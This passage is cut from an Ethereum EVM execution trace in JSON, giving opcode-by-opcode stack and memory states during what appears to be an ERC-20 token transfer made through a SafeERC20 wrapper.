0000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8188,"op":"DUP3","gas":29259,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb77","0x2bda54fce7dbfc916a32","0x2bda9a60795e41856a32","0x0","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8189,"op":"LT","gas":29256,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb77","0x2bda54fce7dbfc916a32","0x2bda9a60795e41856a32","0x0","0x2bda54fce7dbfc916a32","0x2bda9a60795e41856a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8190,"op":"ISZERO","gas":29253,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb77","0x2bda54fce7dbfc916a32","0x2bda9a60795e41856a32","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8191,"op":"PUSH2","gas":29250,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb77","0x2bda54fce7dbfc916a32","0x2bda9a60795e41856a32","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8194,"op":"JUMPI","gas":29247,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb77","0x2bda54fce7dbfc916a32","0x2bda9a60795e41856a32","0x0","0x1","0x200a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8202,"op":"JUMPDEST","gas":29237,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb77","0x2bda54fce7dbfc916a32","0x2bda9a60795e41856a32","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8203,"op":"POP","gas":29236,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb77","0x2bda54fce7dbfc916a32","0x2bda9a60795e41856a32","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8204,"op":"SUB","gas":29234,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb77","0x2bda54fce7dbfc916a32","0x2bda9a60795e41856a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8205,"op":"SWAP1","gas":29231,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb77","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8206,"op":"JUMP","gas":29228,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0x4563918244f40000","0xb77"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2935,"op":"JUMPDEST","gas":29220,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2936,"op":"SWAP1","gas":29219,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2937,"op":"POP","gas":29216,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2938,"op":"PUSH1","gas":29214,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2940,"op":"DUP3","gas":29211,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2941,"op":"GT","gas":29208,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2942,"op":"DUP1","gas":29205,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2943,"op":"PUSH2","gas":29202,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2946,"op":"JUMPI","gas":29199,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x0","0xb88"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2947,"op":"POP","gas":29189,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2948,"op":"PUSH1","gas":29187,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2950,"op":"DUP2","gas":29184,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2951,"op":"GT","gas":29181,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2952,"op":"JUMPDEST","gas":29178,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2953,"op":"PUSH2","gas":29177,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2956,"op":"JUMPI","gas":29174,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x1","0xbd4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3028,"op":"JUMPDEST","gas":29164,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e